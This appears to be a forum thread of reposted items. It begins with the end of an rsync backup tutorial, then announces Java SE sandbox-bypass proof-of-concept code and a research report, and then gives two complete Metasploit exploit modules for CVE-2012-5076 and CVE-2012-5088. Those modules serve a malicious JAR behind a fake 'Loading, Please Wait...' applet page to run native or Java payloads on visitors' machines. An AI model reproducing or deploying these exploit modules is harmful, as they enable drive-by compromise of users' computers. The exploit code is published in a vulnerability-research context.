--exclude=PATTERN exclude files matching PATTERN --exclude-from=FILE, read exclude patterns from FILE --include=PATTERN, don't exclude files matching PATTERN --include-from=FILE, read include patterns from FILE Likewise, the option --files-from=FILE allows you to specify a detailed list of directories you wish to include in your backup. Please note that if you write down directory paths without trailing slash, they will be recreated blank, and if you do add the trailing slash, their content will also be copied. And we mentioned the log file earlier, here's a sample: Another useful option is -h, which prints the rsync copy summary in a human-readable format. You don't care about blocks, you care about MB and suchlike: For FAT filesystems Quoting from the man pages, when comparing two timestamps, rsync treats the timestamps as being equal if they differ by no more than the modify-window value. This is normally 0 for an exact match, but you may find it useful to set this to a larger value in some situations. In particular, when transferring to or from a Microsoft Windows FAT filesystem, which represents times with a two-second resolution, --modify-window=1 is useful. Test your commands And then you ought to run and verify it all works dandily: Here's a another, sample text output of an rsync run, no simulation this time, it's happening - the output shows human readable summary, we use the incremental list, we delete files at the destination that do not match the source, and you can see three files being deleted. In fact, I have only renamed two files, replacing the word fun to guide in their names, but you can see the effect being two deletions, two copies, plus one file being removed altogether. rsync -avs --delete -i -h /home/gamer/Pictures /mnt/home/tester/rsync-fun --log-file=/home/gamer/rsync.log sending incremental file list .d..t...... Pictures/ *deleting Pictures/rsync-guide-man-page.png *deleting Pictures/rsync-fun-summary.png *deleting Pictures/rsync-fun-dry-run.png >f+++++++++ Pictures/rsync-guide-dry-run.png >f+++++++++ Pictures/rsync-guide-summary.png sent 180.65K bytes received 67 bytes 361.43K bytes/sec total size is 579.49M speedup is 3206.62 And we check the destination too. You should use the combination of directory and file count and total usage, with commands like du, wc and similar to make sure that you have the exact same information on your target filesystem as the source. Scheduling If you are satisfied with the result, you can now script and schedule the command. The first step is to create a simple shell script that contains the earliest rsync command. Then, you should chmod it to be executable and run it once or twice to verify there are no weird bugs or errors.Your typical script might look something like: #!/bin/bash echo some useful information perhaps your rsync command here preferably with good logging exit 0 Next, you need to cron your task. But that's a topic for another tutorial. If you need instructions for that, there'll be a followup to this guide. Still, it might look something like the line below - this cron will run every hour: * */1 * * * /home/roger/rsync-backup.sh Alternatives If you must have a GUI, then maybe Grsync is what you want: Conclusion There you go, a nice, quick and useful guide. Hopefully, it will help you get past your fear of using the command line and utilizing the awesome little tool called rsync to create backups of your data, which is what we strive for. The tutorial covers the necessary precautions, like dry-run, list and details log, checking everything carefully before firing potentially destructive commands, basic and advanced usage, input and output formats that should help you manage your backup data, some Windows tips, a word or two on scheduling, as well as a frontend alternative, if you still fear the command line. All in all, there's a plenty going on here. I hope you like it. Well, that would be all. The warning sign image is in public domain. Cheers. Sursa: Rsync guide & tutorial

Security vulnerabilities in Java SE, PoC codes /*## (c) SECURITY EXPLORATIONS 2012 poland #*/ /*## http://www.security-explorations.com #*/ /* RESEARCH MATERIAL: SE-2012-01 */ /* [Security vulnerabilities in Java SE, PoC codes] */ This package contains Proof of Concept codes illustrating security weaknesses discovered during SE-2012-01 security research project. Impact characteristics of the included codes is presented below: - PoC for Issue 1 complete Java security sandbox bypass - PoC for Issue 2 complete Java security sandbox bypass - PoC for Issue 3 complete Java security sandbox bypass - PoC for Issue 4 complete Java security sandbox bypass - PoC for Issue 5 complete Java security sandbox bypass - PoC for Issue 6 complete Java security sandbox bypass - PoC for Issue 7 complete Java security sandbox bypass - PoC for Issues 8 and 16 complete Java security sandbox bypass - PoC for Issues 11 and 19 complete Java security sandbox bypass - PoC for Issues 12 and 13 complete Java security sandbox bypass - PoC for Issue 14 JVM properties access - PoC for Issue 15 newInstance of arbitrary class in a doPrivileged block - PoC for Issues 20 and 21 complete Java security sandbox bypass - PoC for Issue 20 complete Java security sandbox bypass - PoC for Issues 15 and 22 complete Java security sandbox bypass - PoC for Issues 8 and 23 JVM properties access, file read access - PoC for Issue 26 complete Java security sandbox bypass - PoC for Issue 30 JVM properties access - PoC for Issue 31 newInstance of arbitrary class in a doPrivileged block - PoC for Issues 1 and 32 complete Java security sandbox bypass - PoC for Issue 32 complete Java security sandbox bypass - PoC for Issue 33 complete Java security sandbox bypass - PoC for Issue 34 complete Java security sandbox bypass - PoC for Issue 35 complete Java security sandbox bypass - PoC for Issue 36 complete Java security sandbox bypass - PoC for Issue 37 complete Java security sandbox bypass - PoC for Issues 38 and 39 complete Java security sandbox bypass - PoC for Issues 40, 41 and 42 complete Java security sandbox bypass - PoC for Issues 43, 44 and 45 complete Java security sandbox bypass - PoC for Issues 46, 47 and 48 complete Java security sandbox bypass - PoC for Issue 49 complete Java security sandbox bypass It is the best to start the analysis / tests of Oracle codes with the following versions of Java SE: JRE/JDK 7 (version 1.7.0-b147) JRE/JDK 7u1 (version 1.7.0_01-b08) JRE/JDK 7u2 (version 1.7.0_02-b13) JRE/JDK 7u3 (version 1.7.0_03-b05) JRE/JDK 7u4 (version 1.7.0_04-ea-b18, early access release from 29 Mar 2012) These are the versions that were vulnerable to all of security issues originally reported to the company in Apr 2012. Consecutive releases of Oracle's Java SE software from Jun, Aug and Oct 2012 addressed most of the issues (29 out of 31 as of Nov 17, 2012). Download: http://www.security-explorations.com/materials/se-2012-01-codes.zip Alte documente: http://www.security-explorations.com/materials/

Security Vulnerabilities in Java SE Technical Report Ver. 1.0.2 SE-2012-01 Project INTRODUCTION Java has been within our interest for nearly a decade. We've been breaking it with successes since 2002 and are truly passionate about it. Regardless of the many changes that had occurred in the Rich Internet Application's1 space, Java is still present in the vast number of desktop computers. According to some published data2, Java is installed on 1.1 billion desktops and there are 930 million Java Runtime Environment downloads each year. These numbers speak for themselves and it's actually hard to ignore Java when it comes to the security of PC computers these days. Java is also one of the most exciting and difficult to break technologies we have ever met with. Contrary to the common belief, it is not so easy to break Java. For a reliable, non memory corruption based exploit codes, usually more than one issue needs to be combined together to achieve a full JVM sandbox compromise. This alone is both challenging and demanding as it usually requires a deep knowledge of a Java VM implementation and the tricks that can be used to break its security. The primary goal of this paper is to present the results of a security research project (codenamed SE-2012-013) that aimed to verify the state of Java SE security in 2012. Although, it includes information about new vulnerabilities and exploitation techniques, it relies on the results obtained and reported to the vendor4 back in 2005. The techniques and exploitation scenarios discovered seven years ago are still valid for Java. What’s even more surprising is that multiple new instances of certain type of vulnerabilities could be found in the latest 7th incarnation of Java SE software. The other goal of this paper is to educate users, developers and possibly vendors about security risks associated with certain Java APIs. We also want to show the tricky nature of Java security. In the first part of this paper, quick introduction to Java VM security architecture and model will be made. It will be followed by a brief description of Reflection API, its implementation and shortcomings being the result of certain design / implementation choices. We will discuss in a detail the possibilities for abuse Reflection API creates. The second part of the paper will present exploitation techniques and vulnerabilities found during SE-2012-01 project. We will show how single and quite innocent looking Java security breaches can lead to serious, full-blown compromises of a Java security sandbox. Technical details of sample (most interesting) vulnerabilities that were found during SE-2012-01 research project will be also presented. The paper will wrap up with a few summary words regarding security of Java technology and its future. Download: http://www.security-explorations.com/materials/se-2012-01-report.pdf

Java Applet AverageRangeStatisticImpl Remote Code Execution Authored by juan vazquez, temp66 | Site metasploit.com This Metasploit module abuses the AverageRangeStatisticImpl from a Java Applet to run arbitrary Java code outside of the sandbox, a different exploit vector than the one exploited in the wild in November of 2012. The vulnerability affects Java version 7u7 and earlier. advisories | CVE-2012-5076, OSVDB-86363 ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'rex' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :javascript => false }) def initialize( info = {} ) super( update_info( info, 'Name' => 'Java Applet AverageRangeStatisticImpl Remote Code Execution', 'Description' => %q{ This module abuses the AverageRangeStatisticImpl from a Java Applet to run arbitrary Java code outside of the sandbox, a different exploit vector than the one exploited in the wild in November of 2012. The vulnerability affects Java version 7u7 and earlier. }, 'License' => MSF_LICENSE, 'Author' => [ 'Unknown', # Vulnerability discovery at security-explorations 'juan vazquez' # Metasploit module ], 'References' => [ [ 'CVE', '2012-5076' ], [ 'OSVDB', '86363' ], [ 'BID', '56054' ], [ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpuoct2012-1515924.html' ], [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2012-5076' ], [ 'URL', 'http://www.security-explorations.com/materials/se-2012-01-report.pdf' ] ], 'Platform' => [ 'java', 'win', 'osx', 'linux' ], 'Payload' => { 'Space' => 20480, 'DisableNops' => true }, 'Targets' => [ [ 'Generic (Java Payload)', { 'Platform' => ['java'], 'Arch' => ARCH_JAVA, } ], [ 'Windows x86 (Native Payload)', { 'Platform' => 'win', 'Arch' => ARCH_X86, } ], [ 'Mac OS X x86 (Native Payload)', { 'Platform' => 'osx', 'Arch' => ARCH_X86, } ], [ 'Linux x86 (Native Payload)', { 'Platform' => 'linux', 'Arch' => ARCH_X86, } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Oct 16 2012' )) end def setup path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2012-5076_2", "Exploit.class") @exploit_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) } path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2012-5076_2", "B.class") @loader_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) } @exploit_class_name = rand_text_alpha("Exploit".length) @exploit_class.gsub!("Exploit", @exploit_class_name) super end def on_request_uri(cli, request) print_status("handling request for #{request.uri}") case request.uri when /\.jar$/i jar = payload.encoded_jar jar.add_file("#{@exploit_class_name}.class", @exploit_class) jar.add_file("B.class", @loader_class) metasploit_str = rand_text_alpha("metasploit".length) payload_str = rand_text_alpha("payload".length) jar.entries.each { |entry| entry.name.gsub!("metasploit", metasploit_str) entry.name.gsub!("Payload", payload_str) entry.data = entry.data.gsub("metasploit", metasploit_str) entry.data = entry.data.gsub("Payload", payload_str) } jar.build_manifest send_response(cli, jar, { 'Content-Type' => "application/octet-stream" }) when /\/$/ payload = regenerate_payload(cli) if not payload print_error("Failed to generate the payload.") send_not_found(cli) return end send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' }) else send_redirect(cli, get_resource() + '/', '') end end def generate_html html = %Q|<html><head><title>Loading, Please Wait...</title></head>| html += %Q|<body><center><p>Loading, Please Wait...</p></center>| html += %Q|<applet archive="#{rand_text_alpha(8)}.jar" code="#{@exploit_class_name}.class" width="1" height="1">| html += %Q|</applet></body></html>| return html end end Sursa: Java Applet AverageRangeStatisticImpl Remote Code Execution ? Packet Storm

Java Applet Method Handle Remote Code Execution Authored by juan vazquez, temp66 | Site metasploit.com This Metasploit module abuses the Method Handle class from a Java Applet to run arbitrary Java code outside of the sandbox. The vulnerability affects Java version 7u7 and earlier. advisories | CVE-2012-5088 ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'rex' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :javascript => false }) def initialize( info = {} ) super( update_info( info, 'Name' => 'Java Applet Method Handle Remote Code Execution', 'Description' => %q{ This module abuses the Method Handle class from a Java Applet to run arbitrary Java code outside of the sandbox. The vulnerability affects Java version 7u7 and earlier. }, 'License' => MSF_LICENSE, 'Author' => [ 'Unknown', # Vulnerability discovery at security-explorations.com 'juan vazquez' # Metasploit module ], 'References' => [ [ 'CVE', '2012-5088' ], [ 'URL', '86352' ], [ 'BID', '56057' ], [ 'URL', 'http://www.security-explorations.com/materials/SE-2012-01-ORACLE-5.pdf' ], [ 'URL', 'http://www.security-explorations.com/materials/se-2012-01-report.pdf' ] ], 'Platform' => [ 'java', 'win', 'osx', 'linux' ], 'Payload' => { 'Space' => 20480, 'DisableNops' => true }, 'Targets' => [ [ 'Generic (Java Payload)', { 'Platform' => ['java'], 'Arch' => ARCH_JAVA, } ], [ 'Windows x86 (Native Payload)', { 'Platform' => 'win', 'Arch' => ARCH_X86, } ], [ 'Mac OS X x86 (Native Payload)', { 'Platform' => 'osx', 'Arch' => ARCH_X86, } ], [ 'Linux x86 (Native Payload)', { 'Platform' => 'linux', 'Arch' => ARCH_X86, } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Oct 16 2012' )) end def setup path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2012-5088", "Exploit.class") @exploit_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) } path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2012-5088", "B.class") @loader_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) } @exploit_class_name = rand_text_alpha("Exploit".length) @exploit_class.gsub!("Exploit", @exploit_class_name) super end def on_request_uri(cli, request) print_status("handling request for #{request.uri}") case request.uri when /\.jar$/i jar = payload.encoded_jar jar.add_file("#{@exploit_class_name}.class", @exploit_class) jar.add_file("B.class", @loader_class) metasploit_str = rand_text_alpha("metasploit".length) payload_str = rand_text_alpha("payload".length) jar.entries.each { |entry| entry.name.gsub!("metasploit", metasploit_str) entry.name.gsub!("Payload", payload_str) entry.data = entry.data.gsub("metasploit", metasploit_str) entry.data = entry.data.gsub("Payload", payload_str) } jar.build_manifest send_response(cli, jar, { 'Content-Type' => "application/octet-stream" }) when /\/$/ payload = regenerate_payload(cli) if not payload print_error("Failed to generate the payload.") send_not_found(cli) return end send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' }) else send_redirect(cli, get_resource() + '/', '') end end def generate_html html = %Q|<html><head><title>Loading, Please Wait...</title></head>| html += %Q|<body><center><p>Loading, Please Wait...</p></center>| html += %Q|<applet archive="#{rand_text_alpha(8)}.jar" code="#{@exploit_class_name}.class" width="1" height="1">| html += %Q|</applet></body></html>| return html end end Sursa: Java Applet Method Handle Remote Code Execution ? Packet Storm

Listener 2.2 Authored by Folkert van Heusden | Site vanheusden.com This program listens for sound. If it detects any, it starts recording automatically and also automatically stops when things become silent again. Download: http://packetstormsecurity.com/files/download/119719/listener-2.2.tgz Sursa: Listener 2.2 ? Packet Storm